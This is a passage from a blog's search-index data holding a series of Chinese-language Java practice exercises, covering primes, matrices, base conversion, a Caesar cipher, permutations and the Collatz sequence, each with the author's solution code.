java.util.Scanner; 4import java.util.Map; 5import java.util.HashMap; 6import java.util.Map.Entry; 7 8public class Main { 9 public static void main(String[] args) { 10 Scanner scanner = new Scanner(System.in); 11 int n = scanner.nextInt(); 12 Map\u0026lt;Integer, Boolean\u0026gt; nums = new HashMap\u0026lt;\u0026gt;(); 13 for (int i = 0; i \u0026lt; n; i++) { 14 nums.put(scanner.nextInt(), true); 15 } 16 scanner.close(); 17 18 int count = 0; 19 for (Entry\u0026lt;Integer, Boolean\u0026gt; entry : nums.entrySet()) { 20 if (nums.containsKey(entry.getKey() + 1)) { 21 count++; 22 } 23 if (nums.containsKey(entry.getKey() - 1)) { 24 count++; 25 } 26 } 27 28 System.out.println(count / 2); 29 } 30} 问题描述 FJ在沙盘上写了这样一些字符串:\nA1 = “A”\nA2 = “ABA”\nA3 = “ABACABA”\nA4 = “ABACABADABACABA”\n… …\n你能找出其中的规律并写所有的数列AN吗?\n输入格式\n仅有一个数:N ≤ 26。\n输出格式\n请输出相应的字符串AN,以一个换行符结束。输出中不得含有多余的空格或换行、回车符。\n1样例输入 23 3 4样例输出 5ABACABA 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 int n = scanner.nextInt(); 9 scanner.close(); 10 11 String s = \u0026#34;\u0026#34;; 12 for (int i = 0; i \u0026lt; n; i++) { 13 s = s + (char) (\u0026#39;A\u0026#39; + i) + s; 14 } 15 16 System.out.println(s); 17 } 18} ","link":"https://jackgdn.github.io/post/java%E7%BB%83%E4%B9%A04/","section":"post","tags":["Java"],"title":"Java 练习(四)"},{"body":" 从键盘输入一个n,代表二维数组的行和列,依次读入n行由空格和数字字符组成的字符串,将字符串中的每个数字字符转换成整形数据,存成二维数组的一行,如果输入的数字字符数目少于n个,以0补足,如果超过n个,截取前n位。 1example: 2 3input: 45 53 2 1 7 6 8 611 2 4 12 5 74 3 1 87 6 5 91 10 11output: 12[[3, 2, 1, 7, 6], [11, 2, 4, 12, 5], [4, 3, 1, 0, 0], [7, 6, 5, 0, 0], [1, 0, 0, 0, 0]] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 int n = scanner.nextInt(); 8 scanner.nextLine(); 9 10 int[][] matrix = inputMatrix(n, scanner); 11 System.out.println(Arrays.deepToString(matrix)); 12 } 13 14 public static int[][] inputMatrix(int n, Scanner scanner) { 15 int[][] matrix = new int[n][n]; 16 String numsString; 17 String[] numsStringArray; 18 for (int i = 0; i \u0026lt; n; i++) { 19 numsString = scanner.nextLine(); 20 numsStringArray = numsString.split(\u0026#34;\\\\s+\u0026#34;); 21 for (int j = 0; j \u0026lt; n; j++) { 22 if (j \u0026lt; numsStringArray.length) { 23 matrix[i][j] = Integer.parseInt(numsStringArray[j]); 24 } else { 25 matrix[i][j] = 0; 26 } 27 } 28 } 29 scanner.close(); 30 return matrix; 31 } 32} 以上一题方法读入一个n * n的二维数组,输出该二维数组与其转置数组乘积后得到的新数组。 1example: 2 3input: 45 53 2 1 7 6 8 611 2 4 12 5 74 3 1 87 6 5 91 10 11output: 12[[99, 155, 19, 38, 3], [155, 310, 54, 109, 11], [19, 54, 26, 51, 4], [38, 109, 51, 110, 7], [3, 11, 4, 7, 1]] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 int n = scanner.nextInt(); 8 scanner.nextLine(); 9 10 int[][] matrix = inputMatrix(n, scanner); 11 int[][] transposedMatrix = getTranspose(matrix, n); 12 int[][] resultMatrix = matrixMultiply(matrix, transposedMatrix, n); 13 14 System.out.println(Arrays.deepToString(resultMatrix)); 15 } 16 17 public static int[][] inputMatrix(int n, Scanner scanner) { 18 int[][] matrix = new int[n][n]; 19 String numsString; 20 String[] numsStringArray; 21 22 for (int i = 0; i \u0026lt; n; i++) { 23 numsString = scanner.nextLine(); 24 numsStringArray = numsString.split(\u0026#34;\\\\s+\u0026#34;); 25 for (int j = 0; j \u0026lt; n; j++) { 26 matrix[i][j] = j \u0026lt; numsStringArray.length ? Integer.parseInt(numsStringArray[j]) : 0; 27 } 28 } 29 30 scanner.close(); 31 return matrix; 32 } 33 34 public static int[][] getTranspose(int[][] matrix, int n) { 35 int T[][] = new int[n][n]; 36 for (int i = 0; i \u0026lt; n; i++) { 37 for (int j = 0; j \u0026lt; n; j++) { 38 T[j][i] = matrix[i][j]; 39 } 40 } 41 return T; 42 } 43 44 public static int[][] matrixMultiply(int[][] aMatrix, int[][] bMatrix, int n) { 45 int[][] resultMatrix = new int[n][n]; 46 for (int i = 0; i \u0026lt; n; i++) { 47 for (int j = 0; j \u0026lt; n; j++) { 48 for (int k = 0; k \u0026lt; n; k++) { 49 resultMatrix[i][j] += aMatrix[i][k] * bMatrix[k][j]; 50 } 51 } 52 } 53 return resultMatrix; 54 } 55} 从键盘读入一个n,代表n位同学,依次读入n组由数字字符和空格组成的字符串,将其存储为一个 3 * n的二维数组。二维数组中每一项为一个浮点型数据,代表一位同学同一门课的三次考试的成绩(test1,test2,test3)。给定一个一维数组,代表每次考试的权值,该一维数组为[0.25, 0.25, 0.5],计算每个同学的最终得分,并输出统计这n个同学最终成绩的一维数组。(每个同学的成绩保留小数点后两位小数)。 1example: 2 3input: 44 587 75 60 666 98 100 770 65 72 867 77.5 80 9 10output: 11[70.5, 91.0, 69.75, 76.12] 1import java.util.Scanner; 2import java.util.Arrays; 3 4public class Main { 5 public static void main(String[] args) { 6 Scanner scanner = new Scanner(System.in); 7 int n = scanner.nextInt(); 8 scanner.nextLine(); 9 10 double[] result = new double[n]; 11 String scoresString; 12 String[] scoresStringArray = new String[3]; 13 double[] scores = new double[3]; 14 double[] weights = { 0.25, 0.25, 0.5 }; 15 double weightedSum; 16 17 for (int i = 0; i \u0026lt; n; i++) { 18 scoresString = scanner.nextLine(); 19 scoresStringArray = scoresString.split(\u0026#34;\\\\s+\u0026#34;); 20 weightedSum = 0.0; 21 for (int j = 0; j \u0026lt; 3; j++) { 22 scores[j] = Double.parseDouble(scoresStringArray[j]); 23 weightedSum += scores[j] * weights[j]; 24 } 25 result[i] = Math.round(weightedSum * 100) / 100.0; // 使用 Math.round() 四舍五入,随后除以 100.0 将 long 转换为 double 26 } 27 28 scanner.close(); 29 System.out.println(Arrays.toString(result)); 30 } 31} 计算小于n的最大素数。输入n的值小于等于2时,输出None 1input: 2100 3 4output: 597 6 7input: 8200 9 10output: 11199 12 13input: 142 15 16output: 17None 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int n = scanner.nextInt(); 7 if (n \u0026lt;= 2) { 8 System.out.println(\u0026#34;None\u0026#34;); 9 } else { 10 for (int i = n - 1; i \u0026gt;= 2; i--) { 11 if (isPrime(i)) { 12 System.out.println(i); 13 break; 14 } 15 } 16 } 17 } 18 } 19 20 public static boolean isPrime(int n) { 21 for (int i = 2; i * i \u0026lt;= n; i++) { 22 if (n % i == 0) { 23 return false; 24 } 25 } 26 return true; 27 } 28} 从键盘输入一个n,代表打印杨辉三角的行数,且n \u0026gt;=3 ,编写一个程序,打印杨辉三角。 1input: 23 3 4output: 5[1] 6[1, 1] 7[1, 2, 1] 8 9input: 105 11 12output: 13[1] 14[1, 1] 15[1, 2, 1] 16[1, 3, 3, 1] 17[1, 4, 6, 4, 1] 1import java.util.Scanner; 2import java.util.ArrayList; 3 4public class Main { 5 public static void main(String[] args) { 6 int n; 7 try (Scanner scanner = new Scanner(System.in)) { 8 n = scanner.nextInt(); 9 } 10 11 ArrayList\u0026lt;Integer\u0026gt; current = new ArrayList\u0026lt;\u0026gt;(); 12 current.add(1); 13 System.out.println(current); 14 if (n == 1) { 15 return; 16 } 17 18 for (int i = 2; i \u0026lt;= n; i++) { 19 ArrayList\u0026lt;Integer\u0026gt; previous = (ArrayList\u0026lt;Integer\u0026gt;) current.clone(); // 复制 current 得到 Object 对象,随后强制转换为 20 // ArrayList\u0026lt;Integer\u0026gt; 21 current = new ArrayList\u0026lt;\u0026gt;(); 22 current.add(1); 23 for (int j = 1; j \u0026lt; i - 1; j++) { 24 current.add(previous.get(j - 1) + previous.get(j)); // ArrayList\u0026lt;Integer\u0026gt; 不能直接通过切片访问元素,需要使用 25 // ArrayList\u0026lt;Integer\u0026gt;.get() 方法 26 } 27 current.add(1); 28 System.out.println(current); 29 } 30 } 31} 编写一个函数能够判断两个字符串的最长前缀码,比如:distance和distinct的最长 前缀码为dist,如果输入的两个字符串没有相同的前缀码则返回None。\n1input: 2distance 3distinct 4 5output: 6dist 7 8input: 9student 10teacher 11 12output: 13None 14 15input: 16version 17versus 18 19output: 20vers 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 String aWord = scanner.nextLine(); 7 String bWord = scanner.nextLine(); 8 StringBuilder result = new StringBuilder(); 9 int minLength = Math.min(aWord.length(), bWord.length()); // String.length() 方法获得字符长度 10 11 for (int i = 0; i \u0026lt; minLength; i++) { 12 if (aWord.charAt(i) == bWord.charAt(i)) { // 通过 String.charAt() 方法访问字符 13 result.append(aWord.charAt(i)); 14 } else { 15 System.out.println(i == 0 ? \u0026#34;None\u0026#34; : result.toString()); 16 return; 17 } 18 } 19 System.out.println(result.toString()); 20 } 21 } 22} 因式分解,输入一个数,判断其实素数还是合数,如果是合数,将所有的因式分解打印出来 1input: 217 3 4output: 517 is Prime 6 7input: 820 9 10output: 1120=1*20 20=2*10 20=4*5 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int n; 6 try (Scanner scanner = new Scanner(System.in)) { 7 n = scanner.nextInt(); 8 } 9 10 if (isPrime(n)) { 11 System.out.println(String.format(\u0026#34;%d is prime\u0026#34;, n)); 12 } 13 14 for (int i = 1; i * i \u0026lt;= n; i++) { 15 if (n % i == 0) { 16 System.out.print(String.format(\u0026#34;%d=%d*%d \u0026#34;, n, i, n / i)); 17 } 18 } 19 } 20 21 public static boolean isPrime(int n) { 22 if (n \u0026lt;= 1) { 23 return false; 24 } else { 25 for (int i = 2; i * i \u0026lt;= n; i++) { 26 if (n % i == 0) { 27 return false; 28 } 29 } 30 return true; 31 } 32 } 33} 编写函数,接收一个正偶数为参数,输出两个素数,并且这两个素数之和等于原来的正偶数。如果存在多组符合条件的素数,则全部输出。 如果输入的不是正偶数,打印输入错误。\n1input: 220 3 4output: 520=3+17 620=7+13 720=13+7 820=17+3 9 10input: 119 12 13output: 14input error! 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 int n; 6 try (Scanner scanner = new Scanner(System.in)) { 7 n = scanner.nextInt(); 8 } 9 10 if (n % 2 != 0 || n \u0026lt;= 0) { 11 System.out.println(\u0026#34;Input Error!\u0026#34;); 12 return; 13 } 14 15 for (int i = 3; i \u0026lt; n - 2; i += 2) { 16 if (isPrime(i) \u0026amp;\u0026amp; isPrime(n - i)) { 17 System.out.println(String.format(\u0026#34;%d=%d+%d\u0026#34;, n, i, n - i)); 18 } 19 } 20 } 21 22 public static boolean isPrime(int n) { 23 if (n \u0026lt;= 1) { 24 return false; 25 } else { 26 for (int i = 2; i * i \u0026lt;= n; i++) { 27 if (n % i == 0) { 28 return false; 29 } 30 } 31 return true; 32 } 33 } 34} 凯撒密码(Caesar Cypher)是一个比较弱的加密形式,它涉及将单词中的每个字母“轮转”固定数量的位置。轮转一个字母意思是在字母表中移动它,如果需要,再从开头开始。所以‘A’轮转3个位置是’D‘,而’Z‘轮转一个位置是’A‘。 1input: 2izieisie 35 4 5output: 6nenjnxnj 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 String plaintext = scanner.nextLine(); 7 int key = scanner.nextInt(); 8 scanner.close(); 9 10 String ciphertext = caeserEncrypt(plaintext, key); 11 System.out.println(ciphertext); 12 } 13 14 public static String caeserEncrypt(String plaintext, int key) { 15 StringBuilder ciphertext = new StringBuilder(); 16 for (char c : plaintext.toCharArray()) { // 将 String 转化为 char 数组后才能遍历 17 char base = Character.isLowerCase(c) ? \u0026#39;a\u0026#39; : \u0026#39;A\u0026#39;; 18 char encryptedChar = (char) ((c - base + key) % 26 + base); 19 ciphertext.append(encryptedChar); 20 } 21 return ciphertext.toString(); 22 } 23} 从键盘输入一个十进制数n,再输入一个需要转换的进制数,输出十进制转换成对应进制的数。如果输入的转换进制不是2或8或16,输出错误提示。 1example: 2 3input: 432 52 6 7output: 8100000 9 10input: 1132 128 13 14output: 1540 16 17input: 1832 1916 20 21output: 2220 23 24input: 2532 265 27 28output: 29Error!please input correct number(2 or 8 or 16) 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int decimal = scanner.nextInt(); 7 int base = scanner.nextInt(); 8 String result = fromDecimal(base, decimal); 9 System.out.println(result); 10 } 11 } 12 13 public static String fromDecimal(int base, int decimal) { 14 switch (base) { 15 case 2: 16 return Integer.toBinaryString(decimal); 17 case 8: 18 return Integer.toOctalString(decimal); 19 case 16: 20 return Integer.toHexString(decimal); 21 default: 22 return \u0026#34;Error! Please input a correct base (2, 8, 16).\u0026#34;; 23 } 24 } 25} 从键盘接收一个由空格分隔的字符串如:AAF H D,将其存在数组中,第一个是需要转换进制的数值,第二个是当前的进制,第三个是需要转换的进制。输出转换的结果。(B代表二进制 , D代表十进制,O代表八进制,H代表十六进制) 1example: 2 3input: 423 D H 5 6output: 717 8 9input: 101011 B O 11 12output: 1313 14 15input: 161011 H D 17 18output: 194113 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 String input = scanner.nextLine(); 7 scanner.close(); 8 9 String[] inputArray = input.split(\u0026#34;\\\\s+\u0026#34;); 10 int decimal = convertToDecimal(inputArray[0], inputArray[1].charAt(0)); 11 String result = convertToBase(decimal, inputArray[2].charAt(0)); 12 System.out.println(result); 13 } 14 15 public static int convertToDecimal(String initialValueString, char initialBase) { 16 int decimal; 17 switch (initialBase) { 18 case \u0026#39;B\u0026#39;: 19 decimal = Integer.parseInt(initialValueString, 2); 20 break; 21 case \u0026#39;O\u0026#39;: 22 decimal = Integer.parseInt(initialValueString, 8); 23 break; 24 case \u0026#39;D\u0026#39;: 25 decimal = Integer.parseInt(initialValueString); 26 break; 27 case \u0026#39;H\u0026#39;: 28 decimal = Integer.parseInt(initialValueString, 16); 29 break; 30 default: 31 decimal = -1; 32 break; 33 } 34 return decimal; 35 } 36 37 public static String convertToBase(int decimal, char targetBase) { 38 String result; 39 switch (targetBase) { 40 case \u0026#39;B\u0026#39;: 41 result = Integer.toBinaryString(decimal); 42 break; 43 case \u0026#39;O\u0026#39;: 44 result = Integer.toOctalString(decimal); 45 break; 46 case \u0026#39;D\u0026#39;: 47 result = Integer.toString(decimal); 48 break; 49 case \u0026#39;H\u0026#39;: 50 result = Integer.toHexString(decimal); 51 break; 52 default: 53 result = \u0026#34;Invalid base\u0026#34;; 54 break; 55 } 56 return result; 57 } 58} 《九章算术》是我国古代数学名著,卷七中有题:今有人合伙买羊,每人出5钱,会差45钱,每人出7钱会差3钱,问,合伙人数和钱数各是多少? 1input: 2None 3 4output: 5people:XX 6money:XX 1import com.microsoft.z3.*; // 常规写法没意思,尝试使用 z3 库 2 3public class Main { 4 public static void main(String[] args) { 5 Context context = null; 6 try { 7 context = new Context(); // 创建 z3 上下文 8 IntExpr x = context.mkIntConst(\u0026#34;x\u0026#34;); // 创建整型变量 x 9 ArithExpr leftExpr = context.mkAdd( 10 context.mkMul(context.mkInt(5), x), 11 context.mkInt(45)); // 构建表达式 5x + 45 12 ArithExpr rightExpr = context.mkAdd( 13 context.mkMul(context.mkInt(7), x), 14 context.mkInt(3)); // 构建表达式 7x + 3 15 BoolExpr equation = context.mkEq(leftExpr, rightExpr); // 构建方程 5x + 45 = 7x + 3 16 Solver solver = context.mkSolver(); // 创建求解器 17 solver.add(new BoolExpr[] { equation }); // 添加方程到求解器 18 19 if (solver.check() == Status.SATISFIABLE) { 20 Model model = solver.getModel(); // 获取结果模型 21 int people = Integer.parseInt(model.getConstInterp(x).toString()); // 获取变量 x 的值 22 int money = 5 * people + 45; // 计算 money 的结果; 23 24 System.out.println(\u0026#34;people: \u0026#34; + people); 25 System.out.println(\u0026#34;money: \u0026#34; + money); 26 } 27 } catch (Z3Exception e) { 28 e.printStackTrace(); 29 } 30 } 31} 问题描述 给定两个仅由大写字母或小写字母组成的字符串(长度介于1到10之间),它们之间的关系是以下4中情况之一: 1:两个字符串长度不等。比如 Beijing 和 Hebei 2:两个字符串不仅长度相等,而且相应位置上的字符完全一致(区分大小写),比如 Beijing 和 Beijing 3:两个字符串长度相等,相应位置上的字符仅在不区分大小写的前提下才能达到完全一致(也就是说,它并不满足情况2)。比如 beijing 和 BEIjing 4:两个字符串长度相等,但是即使是不区分大小写也不能使这两个字符串一致。比如 Beijing 和 Nanjing 编程判断输入的两个字符串之间的关系属于这四类中的哪一类,给出所属的类的编号。\n输入格式\n包括两行,每行都是一个字符串\n输出格式\n仅有一个数字,表明这两个字符串的关系编号\n1样例输入 2 3BEIjing 4beiJing 5 6样例输出 7 83 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 String aString, bString; 6 try (Scanner scanner = new Scanner(System.in)) { 7 aString = scanner.nextLine(); 8 bString = scanner.nextLine(); 9 } 10 11 int result; 12 if (aString.length() \u0026gt; bString.length()) { 13 result = 1; 14 } else if (aString.equals(bString)) { // 比较两个字符串是否相等 15 result = 2; 16 } else if (aString.toLowerCase().equals(bString.toLowerCase())) { 17 result = 3; 18 } else { 19 result = 4; 20 } 21 22 System.out.println(result); 23 } 24} 连续字符,输入一个字符串,求出此字符串中最长连续字符的长度。 1例: 2 3input: 4abbcccddddeeeeedcba 5 6output: 75 8 9input: 10hooraaaaaaaaaaay 11 12ouput: 1311 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 String input = scanner.nextLine(); 7 scanner.close(); 8 9 int maxLength = 0; 10 int currentLength = 0; 11 char previousChar = \u0026#39;\\0\u0026#39;; 12 for (char currentChar : input.toCharArray()) { 13 if (currentChar == previousChar) { 14 currentLength++; 15 } else { 16 if (currentLength \u0026gt; maxLength) { 17 maxLength = currentLength; 18 } 19 currentLength = 1; 20 } 21 previousChar = currentChar; 22 } 23 System.out.println(maxLength); 24 } 25} 给你一个整数 n(n\u0026gt;=2) ,请你判断 n 是否为 丑数 。如果是,返回 True ;否则,返回False 。 丑数 就是只包含质因数 2、3 和或 5 的正整数。\n1input: 26 3 4output: 5True 6 7input: 814 9 10output: 11False 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 Scanner scanner = new Scanner(System.in); 6 int number = scanner.nextInt(); 7 scanner.close(); 8 9 int factors[] = { 2, 3, 5 }; 10 for (int i : factors) { 11 while (number % i == 0) { 12 number /= i; 13 } 14 } 15 System.out.println(number == 1); 16 } 17} 从键盘输入两个一维数组,再输入一个符号,符号可以是“+”“-”“*”“/”“//”,完成一维数组的加减乘除操作。如果两个一维数组的长度不同,将短的用0补齐,除法操作需要判断每一项除数是否为0,如果有除数为0的情况,返回“The divisor cannot be zero!” 1example: 2 3input: 4[2, 3, 5 ,7] 5[1, 7, 6, 0 , 11, 20] 6+ 7 8ouput: 9[3, 10, 11, 7, 11, 20] 10 11input: 12[2, 3, 5 ,7] 13[1, 7, 6, 0 , 11, 20] 14* 15 16output: 17[2, 21, 30, 0, 0, 0] 18 19input: 20[2, 3, 5 ,7] 21[1, 7, 6, 0 , 11, 20] 22// 23 24output: 25The divisor cannot be zero! 1import java.util.Scanner; 2import java.util.Arrays; 3import java.util.stream.IntStream; 4 5public class Main { 6 public static void main(String[] args) { 7 String aNumArrayString; 8 String bNumArrayString; 9 String operator; 10 try (Scanner scanner = new Scanner(System.in)) { 11 aNumArrayString = scanner.nextLine(); 12 bNumArrayString = scanner.nextLine(); 13 operator = scanner.nextLine(); 14 } 15 16 int[] aNumArray = parseIntArray(aNumArrayString); 17 int[] bNumArray = parseIntArray(bNumArrayString); 18 19 aNumArray = paddedArray(aNumArray, bNumArray.length); 20 bNumArray = paddedArray(bNumArray, aNumArray.length); 21 22 System.out.println(calculate(aNumArray, bNumArray, operator)); 23 } 24 25 public static int[] parseIntArray(String numArrayString) { 26 String trimmedString = numArrayString.substring(1, numArrayString.length() - 1); // 去除中括号 27 String[] numStringArray = trimmedString.split(\u0026#34;\\\\s*,\\\\s*\u0026#34;); 28 int[] numArray = Arrays.stream(numStringArray).mapToInt(Integer::parseInt).toArray(); // 利用流将字符串数组转化为整型数组 29 return numArray; 30 } 31 32 public static int[] paddedArray(int[] array, int length) { 33 if (array.length \u0026gt;= length) { 34 return array; 35 } 36 int[] paddedArray = new int[length]; 37 System.arraycopy(array, 0, paddedArray, 0, array.length); // System.arraycopy()方法用于数组复制 38 for (int i = array.length; i \u0026lt; length; i++) { 39 paddedArray[i] = 0; 40 } 41 return paddedArray; 42 } 43 44 public static String calculate(int[] aNumArray, int[] bNumArray, String operator) { 45 if (operator.equals(\u0026#34;/\u0026#34;) || operator.equals(\u0026#34;//\u0026#34;)) { // 使用 String.equals() 判断字符串是否相等 46 for (int i : bNumArray) { 47 if (i == 0) { 48 return \u0026#34;Error: division by zero\u0026#34;; 49 } 50 } 51 } 52 switch (operator) { 53 case \u0026#34;+\u0026#34;: 54 return Arrays.toString( 55 IntStream.range(0, aNumArray.length) // 使用 IntStream 计算数组元素之和 56 .map(i -\u0026gt; aNumArray[i] + bNumArray[i]) 57 .toArray()); 58 case \u0026#34;-\u0026#34;: 59 return Arrays.toString( 60 IntStream.range(0, aNumArray.length) 61 .map(i -\u0026gt; aNumArray[i] - bNumArray[i]) 62 .toArray()); 63 case \u0026#34;*\u0026#34;: 64 return Arrays.toString( 65 IntStream.range(0, aNumArray.length) 66 .map(i -\u0026gt; aNumArray[i] * bNumArray[i]) 67 .toArray()); 68 case \u0026#34;//\u0026#34;: 69 return Arrays.toString( 70 IntStream.range(0, aNumArray.length) 71 .map(i -\u0026gt; aNumArray[i] / bNumArray[i]) 72 .toArray()); 73 case \u0026#34;/\u0026#34;: 74 return Arrays.toString( 75 IntStream.range(0, aNumArray.length) 76 .mapToDouble(i -\u0026gt; (double) aNumArray[i] / bNumArray[i]) 77 .toArray()); // DoubleStream.range() 方法不存在,使用 mapToDouble() 强制类型转换 78 default: 79 return \u0026#34;Error: invalid operator\u0026#34;; 80 } 81 } 82} 从键盘输入一个一维数组,对一维数组中的元素进行全排列。一维数组中的元素数量不超过20位。(用递归完成) 1example: 2 3input: 4[\u0026#39;a\u0026#39;,\u0026#39;b\u0026#39;,\u0026#39;c\u0026#39;] 5 6output: 7a b c 8a c b 9b a c 10b c a 11c b a 12c a b 1package com.jackgdn; // 此题开始使用 Maven 构建 2 3import java.util.Scanner; 4import com.google.gson.Gson; // 使用 gson 解析 json 5import java.util.ArrayList; 6import java.util.List; 7 8public class Main { 9 public static void main(String[] args) { 10 String jsonString; 11 try (Scanner scanner = new Scanner(System.in)) { 12 jsonString = scanner.nextLine(); 13 } 14 15 Gson gson = new Gson(); // 创建 Gson 对象 16 List\u0026lt;Character\u0026gt; chars = charArrayToList(gson.fromJson(jsonString, char[].class)); // 将 json 字符串转为 / List\u0026lt;Character\u0026gt; 17 18 List\u0026lt;List\u0026lt;Character\u0026gt;\u0026gt; permutations = permute(chars); 19 for (List\u0026lt;Character\u0026gt; charsList : permutations) { 20 for (Character c : charsList) { 21 System.out.print(String.format(\u0026#34;%c \u0026#34;, c)); 22 } 23 System.out.println(); 24 } 25 } 26 27 public static List\u0026lt;Character\u0026gt; charArrayToList(char[] chars) { 28 List\u0026lt;Character\u0026gt; characterList = new ArrayList\u0026lt;\u0026gt;(); 29 for (char c : chars) { 30 characterList.add(c); 31 } 32 return characterList; 33 } 34 35 public static List\u0026lt;List\u0026lt;Character\u0026gt;\u0026gt; permute(List\u0026lt;Character\u0026gt; chars) { 36 List\u0026lt;List\u0026lt;Character\u0026gt;\u0026gt; result = new ArrayList\u0026lt;\u0026gt;(); 37 backtrack(chars, new ArrayList\u0026lt;\u0026gt;(), result); 38 return result; 39 } 40 41 public static void backtrack(List\u0026lt;Character\u0026gt; chars, List\u0026lt;Character\u0026gt; path, List\u0026lt;List\u0026lt;Character\u0026gt;\u0026gt; result) { 42 if (path.size() == chars.size()) { 43 result.add(new ArrayList\u0026lt;\u0026gt;(path)); 44 return; 45 } 46 47 for (int i = 0; i \u0026lt; chars.size(); i++) { 48 if (path.contains(chars.get(i))) { 49 continue; 50 } 51 path.add(chars.get(i)); 52 backtrack(chars, path, result); 53 path.remove(path.size() - 1); 54 } 55 } 56} Collatz猜想是一个未经证明的数学猜想,它说以下算法总是停止: 给定一个整数输入:\n如果数字是1,停止。\n如果数字是偶数,就除以2。使用这个新值作为输入并重新启动。\n如果数字是奇数,就乘以3再加1。使用这个新值作为输入并重新启动。\n从键盘输入一个n,使用递归完成这个collatz程序。\n1example: 2 3input: 412 5 6output: 712 86 93 1010 115 1216 138 144 152 161 17 18input: 1911 20 21output: 2211 2334 2417 2552 2626 2713 2840 2920 3010 315 3216 338 344 352 361 1package com.jackgdn; 2 3import java.util.Scanner; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 int n = scanner.nextInt(); 9 scanner.close(); 10 collatz(n); 11 } 12 13 public static void collatz(int n) { 14 System.out.println(n); 15 if (n == 1) { 16 return; 17 } else if (n % 2 == 0) { 18 collatz(n / 2); 19 } else { 20 collatz(3 * n + 1); 21 } 22 } 23} 已知有公式 $G=4\\pi^2\\frac{a^3}{p^2(m_1+m_2)}$ ,从键盘依次输入a,p,m1,m2的值,编辑公式,输出g的值。输出格式为“10.2f” 1example: 23 32.1 45 51.4 6 7output: 8 37.77 1package com.jackgdn; 2 3import java.util.Scanner; 4import java.util.Formatter; 5 6public class Main { 7 public static void main(String[] args) { 8 Double a, p, m1, m2; 9 try (Scanner scanner = new Scanner(System.in)) { 10 a = scanner.nextDouble(); 11 p = scanner.nextDouble(); 12 m1 = scanner.nextDouble(); 13 m2 = scanner.nextDouble(); 14 } 15 16 Double g = 4 * Math.PI * Math.PI * a * a * a / (p * p * (m1 + m2)); 17 Formatter formatter = new Formatter(); 18 formatter.format(\u0026#34;%10.2f\u0026#34;, g); // 使用 Formatter() 格式化 19 System.out.println(formatter.toString()); 20 } 21} ","link":"https://jackgdn.github.io/post/java%E7%BB%83%E4%B9%A03/","section":"post","tags":["Java"],"title":"Java 练习(三)"},{"body":" 从键盘接收两个数据,一个代表鸡和兔子的头数,一个代表,鸡和兔子的腿数。编写一个程序,计算有多少只鸡,多少只兔子。如果无解,则输出:No solution. 1input: 235 394 4 5output: 6rabbit: 12 chicken: 23 7 8input: 920 1040 11 12output: 13only have chicken: 20 14 15input: 1615 1760 18 19output: 20only have rabbit: 15 21 22input: 2310 24100 25 26output: 27No solution 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int heads = scanner.nextInt(); 7 int legs = scanner.nextInt(); 8 9 if (legs == 4 * heads) { 10 System.out.println(String.format(\u0026#34;Only %d rabbits.\u0026#34;, heads)); 11 } else if (legs == 2 * heads) { 12 System.out.println(String.format(\u0026#34;Only %d chickens.\u0026#34;, heads)); 13 } else if (legs \u0026lt; 2 * heads || legs \u0026gt; 4 * heads | legs % 2 != 0) { 14 System.out.println(\u0026#34;No soluion.\u0026#34;); 15 } else { 16 int tmp = legs - heads * 2; 17 int rabbits = tmp / 2; 18 int chickens = heads - rabbits; 19 System.out.println(String.format(\u0026#34;Rabbit: %d, Chicken: %d\u0026#34;, rabbits, chickens)); 20 } 21 } 22 } 23} 从键盘输入一个n的值,输出斐波那契数列的前n项。已知菲波那切数列的第一项和第二项都为1,其余项为:$f(n) = f(n-1) + f(n-2)$。 1input: 25 3 4output: 51 1 2 3 5 6 7input: 82 9 10output: 111 1 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] args) { 5 try (Scanner scanner = new Scanner(System.in)) { 6 int n = scanner.nextInt(); 7 int a = 1, b = 1, c; 8 for (int i = 0; i \u0026lt; n; i++) { 9 if (i == 0 || i == 1) { 10 System.out.print(String.format(\u0026#34;%d \u0026#34;, 1)); 11 } else { 12 c = a + b; 13 System.out.print(String.format(\u0026#34;%d \u0026#34;, c)); 14 a = b; 15 b = c; 16 } 17 } 18 } 19 } 20} “今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二”问物几何。出自——孙子算经。 (有一个数,不知道是多少,但是它除3余数是2,除5余数是3,除7余数是2,问这个数是多少?)\n请输出满足条件的最小正整数:\n1public class Main { 2 public static void main(String[] args) { 3 boolean found = false; 4 int n = 2; 5 while (!found) { 6 n += 7; 7 if (n % 3 == 2 \u0026amp;\u0026amp; n % 5 == 3) { 8 found = true; 9 } 10 } 11 System.out.println(n); 12 } 13} 奇数偶数贩售机。创建一个程序,判断输入数据是奇数还是偶数, 并输出该数字后连续的9个奇数或偶数,例如:输入2,返回\u0026quot;Even\u0026quot;并输出2 4 6 8 10 12 14 16 18 输入1,返回\u0026quot;Odd\u0026quot;并输出1 3 5 7 9 11 13 15 17\n1input: 22 3 4output: 5Even 62 4 6 8 10 12 14 16 18 7 8input: 93 10 11output: 12Odd 133 5 7 9 11 13 15 17 19 1import java.util.Scanner; 2 3public class Main { 4 public static void main(String[] 